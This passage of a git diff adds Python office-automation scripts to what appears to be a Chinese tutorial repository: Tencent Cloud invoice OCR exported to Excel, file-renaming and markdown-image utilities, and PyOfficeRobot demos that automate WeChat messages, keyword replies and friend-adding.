"价税合计(小写)": motor_vehicle_sale_invoice.Total, + "销货单位名称": motor_vehicle_sale_invoice.SellerAddress, + "电话": motor_vehicle_sale_invoice.SellerTel, + "纳税人识别号": motor_vehicle_sale_invoice.SellerTaxID, + "账号": motor_vehicle_sale_invoice.SellerBankAccount, + "地址": motor_vehicle_sale_invoice.SellerAddress, + "开户银行": motor_vehicle_sale_invoice.SellerBank, + "增值税税率或征收率": motor_vehicle_sale_invoice.TaxRate, + "增值税税额": motor_vehicle_sale_invoice.Tax, + "主管税务机关及代码": motor_vehicle_sale_invoice.TaxAuthorities + motor_vehicle_sale_invoice.TaxAuthoritiesCode, + "不含税价": motor_vehicle_sale_invoice.PretaxAmount, + "开票日期": motor_vehicle_sale_invoice.Date, + "开票人": motor_vehicle_sale_invoice.Issuer, + "备注": motor_vehicle_sale_invoice.Remark + } + return result + return None + except TencentCloudSDKException as err: + print(err) + + def copy_rename_invoices(self, source_dir, target_dir='./result/new_dir'): + """ + 遍历目录,查找机动车发票下的新车发票文件,复制并重命名 + :param source_dir: 源目录路径 + :param target_dir: 目标目录路径 + :return: 新文件路径列表 + """ + # 创建目标目录(如果不存在) + if os.path.exists(target_dir): + shutil.rmtree(target_dir) + os.makedirs(target_dir, exist_ok=True) + + # 初始化计数器和结果列表 + counter = 1 + new_file_paths = [] + + # 遍历所有目录和文件 + for root, dirs, files in os.walk(source_dir): + # 检查是否存在"机动车发票"目录 + if "机动车发票" in dirs: + motor_dir = os.path.join(root, "机动车发票") + + # 遍历该目录下的所有文件 + for filename in os.listdir(motor_dir): + file_path = os.path.join(motor_dir, filename) + + # 检查是否为文件且包含"新车发票" + if os.path.isfile(file_path) and "新车发票" in filename: + # 分离文件名和扩展名 + _, ext = os.path.splitext(filename) + + # 生成新文件名(新车发票_数字.扩展名) + new_filename = f"新车发票_{counter}{ext}" + new_filepath = os.path.join(target_dir, new_filename) + + # 复制文件并保留元数据 + try: + shutil.copy2(file_path, new_filepath) + new_file_paths.append(new_filepath) + counter += 1 + except Exception as e: + print(f"复制文件 {file_path} 失败: {str(e)}") + return new_file_paths + + def main_exec(self, origin_zip_file, result_excel_file): + if not os.path.exists(origin_zip_file): + print("需要解压的zip文件不存在!") + return + # 删除上次生成的excel文件 + if os.path.exists(result_excel_file): + os.remove(result_excel_file) + process_file_path = None + try: + # 获取解压后的文件路径 + process_file_path = process_zip(origin_zip_file) + if not process_file_path: + print("没有解压文件!") + return + # 参数为秘钥文件,在官网控制台 https://console.cloud.tencent.com/cam/capi 点击新建密钥,然后点击下载CSV文件,不需要可以注释 + secrets = self.get_tencent_secret("SecretKey.csv") + if secrets is None or len(secrets) != 2: + print("获取密钥有误,请检查密钥文件!") + return + # 获取所有的发票并且移动到新的文件中 + new_invoice_path = self.copy_rename_invoices(process_file_path) + result = [] + count = 1 + for new_path in new_invoice_path: + print(f"正在识别第{count}张文件!") + count += 1 + # 解析文件获取信息 第二个和第三个参数可直接在网站复制 + result_info = self.get_img_info(new_path, secrets[0], secrets[1]) + if result_info is not None: + result.append(result_info) + df = pd.DataFrame(result) + # 写入excel + df.to_excel(result_excel_file, index=False) + finally: + if process_file_path: + shutil.rmtree(process_file_path) + + def main_exec_single(self, origin_zip_file, result_excel_file): + if not os.path.exists(origin_zip_file): + print("需要识别的文件不存在!") + return + # 删除上次生成的excel文件 + if os.path.exists(result_excel_file): + os.remove(result_excel_file) + # 参数为秘钥文件,在官网控制台 https://console.cloud.tencent.com/cam/capi 点击新建密钥,然后点击下载CSV文件,不需要可以注释 + secrets = self.get_tencent_secret("SecretKey.csv") + if secrets is None or len(secrets) != 2: + print("获取密钥有误,请检查密钥文件!") + return + # 解析文件获取信息 第二个和第三个参数可直接在网站复制 + result_info = self.get_img_info(origin_zip_file, secrets[0], secrets[1]) + df = pd.DataFrame([result_info]) + # 写入excel + df.to_excel(result_excel_file, index=False) + + +if __name__ == '__main__': + base_dir = os.path.dirname(os.path.abspath(__file__)) + os.chdir(base_dir) + mon = MotorVehicleInvoiceIdentificaion() + # 第一个参数为zip文件的路径 第二个文件为生成的excel的文件路径 + mon.main_exec("file/样例.zip", "./result/output_result.xlsx") + mon.main_exec_single("file/样例.jpg", "./result/output.xlsx") diff --git a/contributors/wzllby/result/.gitkeep b/contributors/wzllby/result/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/contributors/wzllby/utils.py b/contributors/wzllby/utils.py new file mode 100644 index 0000000..ab12f26 --- /dev/null +++ b/contributors/wzllby/utils.py @@ -0,0 +1,71 @@ +""" + 此类为通用工具类 +""" + +import zipfile +import base64 +import os +import shutil +import pandas as pd + + +def process_zip(zip_path, target_path='./file'): + """ + 解压zip文件,获取解压后的文件路径 + + Args: + zip_path: 需要解压的zip文件 + target_path: 解压后的文件 默认是当前文件 + """ + # 创建临时文件夹 + temp_dir = "./temp" + os.makedirs(temp_dir, exist_ok=True) + # 解压zip文件 + with zipfile.ZipFile(zip_path, 'r') as zip_ref: + for file in zip_ref.namelist(): + # 处理乱码 + fixed_name = file.encode('cp437').decode('gbk') + fixed_path = os.path.join(temp_dir, fixed_name) + if file.endswith('/'): + os.makedirs(fixed_path, exist_ok=True) + else: + with open(fixed_path, 'wb') as f: + f.write(zip_ref.read(file)) + items = os.listdir(temp_dir) + if len(items) != 1 or not os.path.isdir(os.path.join(temp_dir, items[0])): + raise ValueError("zip文件格式有误") + # 获取唯一的文件夹名称 + single_folder = items[0] + folder_path = os.path.join(temp_dir, single_folder) + + # 移动到目标目录 + target_folder = os.path.join(target_path, single_folder) + shutil.move(folder_path, target_folder) + + # 清理临时目录 + os.rmdir(temp_dir) + return target_folder + + +def get_base64_by_img(img_path): + """ + 根据文件路径获取base64编码 + + Args: + img_path: 图片路径 + """ + with open(img_path, "rb") as image_file: + return base64.b64encode(image_file.read()).decode('utf-8') + + +def get_tencent_secret(csv_path): + """ + 获取密钥信息 + + Args: + csv_path: 密钥csv信息csv文件 + """ + df = pd.read_csv(csv_path) + secret_id = df["SecretId"][0] + secret_key = df["SecretKey"][0] + return [secret_id, secret_key] diff --git a/contributors/yinzeyuan/Rename-AddSomething.py b/contributors/yinzeyuan/Rename-AddSomething.py new file mode 100644 index 0000000..e169e52 --- /dev/null +++ b/contributors/yinzeyuan/Rename-AddSomething.py @@ -0,0 +1,76 @@ +# import pathlib +# +# +# def file_name_insert_content(file_path, insert_position: int, insert_content: str): +# """ +# +# :param Path: 文件存放路径 +# :param InsertPosition: 插入位置(内容将插入在此之后,如果输入位置大于文件主名长度将插入在末尾) +# :param InsertContent: 插入内容 +# """ +# Path = pathlib.Path(file_path).resolve() +# if Path.is_dir(): +# FileNameList = list(Path.glob("*")) # 获取该路径下的文件列表 +# for FileName in FileNameList: +# if FileName.is_file(): # 判断是否为文件,只对文件进行操作 +# FileNameExtension = "".join(list(FileName.suffixes)) +# FileNameRoot = FileName.name.replace(FileNameExtension, "") +# # 分离文件主名和扩展名,防止对扩展名进行操作 +# FileNameFormer = FileNameRoot[:insert_position:] +# FileNameLatter = FileNameRoot[insert_position::] +# # 拆分文件主名 +# NewFileName = FileNameFormer + insert_content + FileNameLatter + FileNameExtension # 合并文件名 +# if not Path.joinpath(NewFileName).is_file(): +# FileName.rename(Path.joinpath(NewFileName)) +# else: +# print(f"该目录下已存在名为{NewFileName}的文件,请检查!") +# else: +# print("请输入文件夹路径") +# +# +# def file_name_add_prefix(file_path, prefix_content: str): +# """ +# +# :param Path: 文件存放路径 +# :param PrefixContent: 前缀内容 +# """ +# Path = pathlib.Path(file_path).resolve() +# if Path.is_dir(): +# FileNameList = list(Path.glob("*")) # 获取该路径下的文件列表 +# for FileName in FileNameList: +# if FileName.is_file(): # 判断是否为文件,只对文件进行操作 +# NewFileName = prefix_content + FileName.name # 合并文件名 +# if not Path.joinpath(NewFileName).is_file(): +# FileName.rename(Path.joinpath(NewFileName)) +# else: +# print(f"该目录下已存在名为{NewFileName}的文件,请检查!") +# else: +# print("请输入文件夹路径") +# +# +# def file_name_add_postfix(file_path, postfix_content: str): +# """ +# +# :param Path: 文件存放路径 +# :param PostfixContent: 后缀内容 +# """ +# Path = pathlib.Path(file_path).resolve() +# if Path.is_dir(): +# FileNameList = list(Path.glob("*")) # 获取该路径下的文件列表 +# for FileName in FileNameList: +# if FileName.is_file(): # 判断是否为文件,只对文件进行操作 +# FileNameExtension = "".join(list(FileName.suffixes)) +# FileNameRoot = FileName.name.replace(FileNameExtension, "") +# # 分离文件主名和扩展名 +# NewFileName = FileNameRoot + postfix_content + FileNameExtension # 合并文件名 +# if not Path.joinpath(NewFileName).is_file(): +# FileName.rename(Path.joinpath(NewFileName)) +# else: +# print(f"该目录下已存在名为{NewFileName}的文件,请检查!") +# else: +# print("请输入文件夹路径") +# +# +# if __name__ == '__main__': +# # FileNameAddPostfix(Path=r'D:\workplace\code\test\output\test', PostfixContent='2022') +# file_name_insert_content(Path=r'D:\workplace\code\test\output\test', InsertPosition=2, InsertContent='888') diff --git a/contributors/yinzeyuan/SearchSpecifyTypeFile.py b/contributors/yinzeyuan/SearchSpecifyTypeFile.py new file mode 100644 index 0000000..8df1c3b --- /dev/null +++ b/contributors/yinzeyuan/SearchSpecifyTypeFile.py @@ -0,0 +1,36 @@ +# import pathlib +# +# +# def search_specify_type_file(file_path, file_type: str): +# ''' +# +# :param file_path:目标路径 +# :param file_type:需要查找的文件类型 +# ''' +# print("开始查找") +# i = 0 # 计数变量 +# file_path = pathlib.Path(file_path).resolve() +# if file_path.is_dir(): +# file_name_list = list(file_path.glob("**/*")) # 获取该路径下的文件列表 +# for file_name in file_name_list: +# file_name_extension = "".join(list(file_name.suffixes)) +# if file_name_extension == file_type: +# print(f"{file_name.name},{file_name.parent}") +# i = i + 1 +# print(f"查找完成,共找到{i}个文件") +# else: +# print("请输入文件夹路径") +# +# +# if __name__ == '__main__': +# search_specify_type_file("./test/", ".txt") +# r''' +# test目录下有如下文件:'新建文本文档.txt', '新建文本文档 (2).txt', 并有多层子文件,子文件夹内同样有且仅有上述两个文件 +# 输出为: +# 新建文本文档 (2).txt,C:\Users\37386\PycharmProjects\Python-officeDev\test +# 新建文本文档.txt,C:\Users\37386\PycharmProjects\Python-officeDev\test +# 新建文本文档 (2).txt,C:\Users\37386\PycharmProjects\Python-officeDev\test\1 +# 新建文本文档.txt,C:\Users\37386\PycharmProjects\Python-officeDev\test\1 +# 新建文本文档 (2).txt,C:\Users\37386\PycharmProjects\Python-officeDev\test\1\2 +# 新建文本文档.txt,C:\Users\37386\PycharmProjects\Python-officeDev\test\1\2 +# ''' diff --git a/contributors/yinzeyuan/check_local_dir_image_link_markdown.py b/contributors/yinzeyuan/check_local_dir_image_link_markdown.py new file mode 100644 index 0000000..44e62ba --- /dev/null +++ b/contributors/yinzeyuan/check_local_dir_image_link_markdown.py @@ -0,0 +1,62 @@ +# -*- coding: utf-8 -*- +import pathlib + + +def check_local_dir_image_link_markdown(markdown_path, image_path): + """ + + :param markdown_path: markdown文件路径 + :param image_path: 本地图片存放路径 + """ + markdown_path = pathlib.Path(markdown_path) + image_path = pathlib.Path(image_path) + # 转换路径为对象 + if markdown_path.is_file() and image_path.is_dir(): + print("检查中……") + markdown_image_list = [] # markdown文件中链接的图片列表 + markdown_file = open(markdown_path, encoding="utf-8") + markdown_file = markdown_file.readlines() + for line in markdown_file: + # 按行遍历文件 + if line[:2:] == "![": + # 如果该行有链接图片 + this_image_path = pathlib.Path(line[line.rfind("(") + 1:line.rfind(")"):]) + # 提取链接图片路径 + if this_image_path.is_absolute(): + # Python文件和markdown文件通常不在同一路径,相对路径基准不同,故需要判断链接图片路径是否为绝对路径。如果是则直接添加进列表,如果不是则要拼接上markdown所在的路径 + markdown_image_list.append(this_image_path) + else: + this_image_path = markdown_path.parent.joinpath(this_image_path).resolve() + markdown_image_list.append(this_image_path) + local_dir_image_list = [] + for i in list(image_path.glob("**/*")): + local_dir_image_list.append(i.resolve()) + markdown_image_set = set(markdown_image_list) + local_dir_image_set = set(local_dir_image_list) + if local_dir_image_set ^ markdown_image_set != (local_dir_image_set ^ markdown_image_set) & local_dir_image_set: + """ + 如果有文件夹中有图片未被链接到markdown中或markdown中链接了其他路径的图片,则local_dir_image_set ^ markdown_image_set不为空 + (local_dir_image_set ^ markdown_image_set) & local_dir_image_set为未被链接到markdown中的图片 + 如果两个集合不相等,则代表markdown中链接了其他路径的图片 + """ + print("文档中有链接其他路径的图片,请检查! ") + other_dir_image_list = list((local_dir_image_set ^ markdown_image_set) & markdown_image_set) + print("其他路径图片列表:") + for i in other_dir_image_list: + print(str(i)) + print() + if (local_dir_image_set ^ markdown_image_set) & local_dir_image_set != set(): + print("未被链接图片列表:") + for i in local_dir_image_set ^ markdown_image_set & local_dir_image_set: + # 打印未被链接图片名列表 + print(i) + else: + print(f"{image_path.resolve()}内无未被链接的图片") + elif not markdown_path.is_file(): + print("markdown文件路径输入有误,请检查!") + elif not image_path.is_dir(): + print("图片存放路径输入有误,请检查!") + + +if __name__ == '__main__': + check_local_dir_image_link_markdown("./test/test.md", "./test/test.assets") diff --git a/contributors/yinzeyuan/markdown_link_image_to_base64.py b/contributors/yinzeyuan/markdown_link_image_to_base64.py new file mode 100644 index 0000000..b50f934 --- /dev/null +++ b/contributors/yinzeyuan/markdown_link_image_to_base64.py @@ -0,0 +1,45 @@ +import base64 +import pathlib + + +def markdown_link_image_to_base64(markdown_path): + markdown_path = pathlib.Path(markdown_path) + if markdown_path.is_file() and markdown_path.suffix == ".md": + i = 0 # 图片计数变量 + image_base64_list = [] # 图片base64编码列表 + markdown_file = open(markdown_path, encoding="utf-8") + new_markdown_file = open(markdown_path.parent.joinpath(markdown_path.name[:-3:] + "(base64).md"), "x", + encoding="utf-8") + markdown_file = markdown_file.readlines() + for line in markdown_file: + # 按行遍历文件 + if line[:2:] == "![": + # 如果该行有链接图片 + i = i + 1 + this_image_path = pathlib.Path(line[line.rfind("(") + 1:line.rfind(")"):]) + if not this_image_path.is_absolute(): + # Python文件和markdown文件通常不在同一路径,相对路径基准不同,故需要判断链接图片路径是否为绝对路径。 + this_image_path = markdown_path.parent.joinpath(this_image_path).resolve() + this_image_file = open(this_image_path, "rb") + this_image_base64_data = base64.b64encode(this_image_file.read()) + # 对链接的图片进行base64编码 + line = line[:line.index("("):] + f"[image{str(i)}]" + "\n" + image_base64_list.append( + f"[image{str(i)}]: " + "data:image/" + this_image_path.suffix + ";base64," + str( + this_image_base64_data)[2:-1:] + "\n") + new_markdown_file.writelines(line) + for i in image_base64_list: + # 遍历存放base64编码的列表 + if markdown_file[-1] != "\n": + new_markdown_file.writelines("\n") + # 判断最后一行是否为空行,如果不是则写入换行符 + new_markdown_file.writelines(i) + # 将图片的base64编码写入新文件 + elif not markdown_path.is_file(): + print("markdown文件路径输入有误,请检查!") + elif markdown_path.suffix != ".md": + print("请输入.md文件的路径!") + + +if __name__ == '__main__': + markdown_link_image_to_base64("./test/test.md") diff --git a/contributors/yinzeyuan/output_file_list_to_excel.py b/contributors/yinzeyuan/output_file_list_to_excel.py new file mode 100644 index 0000000..2a0cf21 --- /dev/null +++ b/contributors/yinzeyuan/output_file_list_to_excel.py @@ -0,0 +1,24 @@ +import pathlib +import openpyxl + + +def output_file_list_to_excel(dir_path: str): + """ + :param dir_path: 需要生成文件列表的目录 + """ + dir_path = pathlib.Path(dir_path).resolve() + if dir_path.is_dir(): + dir_path_list = list(dir_path.glob("**/*")) + output_excel = openpyxl.Workbook() + output_excel_sheet = output_excel.active + output_excel_sheet.append(["完整路径", "文件所在路径", "文件名"]) + for file_path in dir_path_list: + if file_path.is_file(): + output_excel_sheet.append([str(file_path), str(file_path.parent), str(file_path.name)]) + output_excel.save(dir_path.joinpath("本目录文件列表.xlsx")) + else: + print("请输入正确的文件路径!") + + +if __name__ == '__main__': + output_file_list_to_excel(".") diff --git a/contributors/yinzeyuan/screen_unmarked_image.py b/contributors/yinzeyuan/screen_unmarked_image.py new file mode 100644 index 0000000..d586af4 --- /dev/null +++ b/contributors/yinzeyuan/screen_unmarked_image.py @@ -0,0 +1,60 @@ +import pathlib +import shutil + +''' +子包的名字:Ruiming +''' + + +class MainRuiming(): + def __make_dir(self, dir_path, dir_name): + """ + + :param dir_path: 准备新建的位置 + :param dir_name: 新建文件夹的名称 + """ + new_dir_path = dir_path.joinpath(dir_name) + if not new_dir_path.is_dir(): + new_dir_path.mkdir() + elif list(new_dir_path.iterdir()) != []: + exit("目录\"" + str(new_dir_path) + "\"存在且不为空,请检查!") + + def screen_unmarked_image(self, dir_path, image_name_extension: str = ".jpg", + marked_file_name_extension: str = ".xml"): + """ + + :param dir_path: 图片及标注文件的存放路径 + :param image_name_extension: 图片文件的后缀,默认为.jpg + :param marked_file_name_extension: 标注文件的后缀,默认为.xml + """ + dir_path = pathlib.Path(dir_path).resolve() + if dir_path.is_dir(): + unmarked_image_storage_path = dir_path.joinpath("未标注图片") + self.__make_dir(dir_path, "未标注图片") + image_name_root_set = set() + marked_file_name_root_set = set() + # 创建集合 + dir_path_file_list = list(dir_path.iterdir()) + for file_name in dir_path_file_list: + # 按文件类型添加文件名到对应的集合 + if file_name.is_file(): + if file_name.suffix == image_name_extension: + image_name_root_set.add(file_name.name.replace(image_name_extension, "")) + if file_name.suffix == marked_file_name_extension: + marked_file_name_root_set.add(file_name.name.replace(marked_file_name_extension, "")) + unmarked_image_list = list(image_name_root_set - marked_file_name_root_set) + for i in unmarked_image_list: + shutil.move(dir_path.joinpath(i + image_name_extension), + unmarked_image_storage_path.joinpath(i + image_name_extension)) + print("筛选完成") + else: + print("路径输入有误,请检查!") + + +if __name__ == '__main__': + ruiming = MainRuiming() + ruiming.screen_unmarked_image(dir_path="./test1") +''' +test1文件夹下有1.jpg、2.jpg、1.xml三个文件 +执行完毕后,2.jpg被移动到./test1/未标注图片/中 +''' diff --git "a/demo/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py" "b/demo/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py" new file mode 100644 index 0000000..cd730b9 --- /dev/null +++ "b/demo/PyOfficeRobot/001-\345\217\221\344\270\200\346\235\241\344\277\241\346\201\257.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@Date :2023/2/13 21:19 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1te4y1y7Ro +''' + +# 首先,将PyOfficeRobot模块导入到我们的代码块中。 +import PyOfficeRobot + +PyOfficeRobot.chat.send_message(who='小红书:程序员晚枫', message='你好') +# PyOfficeRobot.chat.send_message(who='每天进步一点点', message='你好') diff --git "a/demo/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py" "b/demo/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py" new file mode 100644 index 0000000..5628634 --- /dev/null +++ "b/demo/PyOfficeRobot/002-\345\217\221\346\226\207\344\273\266.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@Date :2023/2/13 21:19 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1te4y1y7Ro +''' + +import PyOfficeRobot + +# PyOfficeRobot.file.send_file(who='每天进步一点点', file=r'C:\Users\Lenovo\Desktop\temp\0.jpg') +PyOfficeRobot.file.send_file(who='B站:程序员晚枫', file=r'C:\Users\Lenovo\Desktop\temp\0.jpg') diff --git "a/demo/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py" "b/demo/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py" new file mode 100644 index 0000000..2770163 --- /dev/null +++ "b/demo/PyOfficeRobot/003-\346\240\271\346\215\256\345\205\263\351\224\256\350\257\215\345\233\236\345\244\215.py" @@ -0,0 +1,18 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@Date :2023/2/13 21:19 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1m8411b7LZ +''' +import PyOfficeRobot + +keywords = { + "我要报名": "你好,这是报名链接:www.python-office.com", + "点赞了吗?": "点了", + "关注了吗?": "必须的", + "投币了吗?": "三连走起", +} +PyOfficeRobot.chat.chat_by_keywords(who='抖音:程序员晚枫', keywords=keywords) +# PyOfficeRobot.chat.chat_by_keywords(who='每天进步一点点', keywords=keywords) diff --git "a/demo/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py" "b/demo/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py" new file mode 100644 index 0000000..27f19e5 --- /dev/null +++ "b/demo/PyOfficeRobot/004-\345\256\232\346\227\266\345\217\221\351\200\201.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@Date :2023/2/13 21:19 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1m8411b7LZ +''' +import PyOfficeRobot + +# PyOfficeRobot.chat.send_message_by_time(who='每天进步一点点', message='你好', time='21:51:55') +PyOfficeRobot.chat.send_message_by_time(who='快手:程序员晚枫', message='你好', time='21:51:55') diff --git "a/demo/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py" "b/demo/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py" new file mode 100644 index 0000000..14634fc --- /dev/null +++ "b/demo/PyOfficeRobot/005-\350\207\252\345\256\232\344\271\211\345\212\237\350\203\275.py" @@ -0,0 +1,18 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/9 23:22 +@本段代码的视频说明 :https://www.bilibili.com/video/BV14R4y127h6 +''' +import PyOfficeRobot + +import office + +keywords = { + "我要报名": "你好,这是报名链接:www.python-office.com", + "来个密码": office.tools.passwordtools(), +} +# PyOfficeRobot.chat.chat_by_keywords(who='每天进步一点点', keywords=keywords) +PyOfficeRobot.chat.chat_by_keywords(who='知乎:程序员晚枫', keywords=keywords) \ No newline at end of file diff --git "a/demo/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py" "b/demo/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py" new file mode 100644 index 0000000..2216fe7 --- /dev/null +++ "b/demo/PyOfficeRobot/006-\347\213\254\347\253\213\347\211\210\346\234\254.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/9 23:25 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1SY411y7Uh +''' + +# 原始方式 +import office + +office.wechat.send_message(who='百度一下:程序员晚枫', message='点个star吧') +# office.wechat.send_message(who='每天进步一点点', message='你好') + +# 独立方式 +# import PyOfficeRobot + + +# PyOfficeRobot.chat.send_message(who='百度一下:程序员晚枫', message='点个star吧') diff --git "a/demo/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py" "b/demo/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py" new file mode 100644 index 0000000..2b1f015 --- /dev/null +++ "b/demo/PyOfficeRobot/007-\346\224\266\351\233\206\347\276\244\346\266\210\346\201\257.py" @@ -0,0 +1,14 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/9 23:28 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1eD4y1g7yZ +''' + +import PyOfficeRobot + +PyOfficeRobot.file.get_group_list() + +# TODO:有BUG:AttributeError: 'NoneType' object has no attribute 'Name' diff --git "a/demo/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py" "b/demo/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py" new file mode 100644 index 0000000..dc4b0be --- /dev/null +++ "b/demo/PyOfficeRobot/008-\345\217\221\346\266\210\346\201\257\346\215\242\350\241\214.py" @@ -0,0 +1,13 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/7/9 23:29 +@本段代码的视频说明 :https://www.bilibili.com/video/BV1Xg4y1s79z +''' + +import PyOfficeRobot + +PyOfficeRobot.chat.send_message(who='每天进步一点点', message='你好' + '{ctrl}{ENTER}' + 'hello') +# PyOfficeRobot.chat.send_message(who='CSDN:程序员晚枫', message='你好' + '{ctrl}{ENTER}' + 'hello') diff --git "a/demo/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py" "b/demo/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py" new file mode 100644 index 0000000..135e00e --- /dev/null +++ "b/demo/PyOfficeRobot/009-\346\211\271\351\207\217\345\212\240\345\245\275\345\217\213.py" @@ -0,0 +1,24 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/4/27 21:19 +@Description : +''' + +""" +批量加好友,1行代码实现 +""" +# pip install PyOfficeRobot>=0.1.5 +import PyOfficeRobot + +msg = "你好,我是程序员晚枫,全网同名。" +num_notes = { + # '微信号/手机号': '你给Ta的备注', + # '1366666': '公众号-晚枫', + 'CoderWanFeng': '小红书-晚枫', +} +PyOfficeRobot.friend.add(msg=msg, num_notes=num_notes) + +# TODO:控件改变了,有BUG diff --git "a/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py" "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py" new file mode 100644 index 0000000..96cade7 --- /dev/null +++ "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221.py" @@ -0,0 +1,18 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/4/27 21:20 +@Description : +''' + +""" +定时群发消息 +""" + +# pip +import PyOfficeRobot + +if __name__ == '__main__': + PyOfficeRobot.group.send() diff --git "a/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt" "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt" new file mode 100644 index 0000000..83a1759 --- /dev/null +++ "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/content.txt" @@ -0,0 +1,4 @@ +大家好,这里是程序员晚枫。 +今天的视频更新了! +【批量添加好友】 +视频链接:https://www.bilibili.com/video/BV1DV4y1o7t2 \ No newline at end of file diff --git "a/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" new file mode 100644 index 0000000..fc9b489 Binary files /dev/null and "b/demo/PyOfficeRobot/010-\345\256\232\346\227\266\347\276\244\345\217\221\347\232\204\350\265\204\346\226\231/\347\276\244\345\217\221\345\257\271\350\261\241.xls" differ diff --git a/demo/PyOfficeRobot/011-chat_chatgpt.py b/demo/PyOfficeRobot/011-chat_chatgpt.py new file mode 100644 index 0000000..5016d1e --- /dev/null +++ b/demo/PyOfficeRobot/011-chat_chatgpt.py @@ -0,0 +1,15 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/3/19 18:17 +@Description : +''' +# pip install PyOfficeRobot +import PyOfficeRobot + +# +PyOfficeRobot.chat.chat_by_gpt(who='程序员晚枫', api_key='你的api_key') + +# 24小时、 diff --git "a/demo/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py" "b/demo/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py" new file mode 100644 index 0000000..1f1cb16 --- /dev/null +++ "b/demo/PyOfficeRobot/012\343\200\201\346\231\272\350\203\275\350\201\212\345\244\251.py" @@ -0,0 +1,14 @@ +# -*- coding: 